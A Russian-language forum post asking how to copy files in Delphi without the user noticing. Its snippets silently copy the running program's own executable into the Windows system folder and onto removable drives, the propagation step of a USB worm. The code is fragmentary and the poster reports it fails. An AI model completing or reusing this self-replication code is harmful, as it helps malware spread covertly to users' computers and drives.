Копирование файлов

Всем привет! нашел функцию копирования файлов

Code:

function WindowsCopyFile(FromFile, ToDir : string) : boolean;
var F : TShFileOpStruct;
begin
  F.Wnd := 0; F.wFunc := FO_COPY;
  FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
  ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
  F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
  result:=ShFileOperation(F) = 0;
end;

, но когда копируется показывается фигня, типа копируется файл... Как скопировать так, что бы пользователь не видел?

 

Code:

copyfile(PAnsiChar(ParamStr(0)), PAnsiChar(SysDir+'failo.exe'), FALSE);

 

Я не знаю правильно ли я сделал :

Code:

copyfile(PAnsiChar(ParamStr(0)), PAnsiChar(GetRemovableDrives[i]+':\mvh\'+k), FALSE);     

Но, он не копирует(((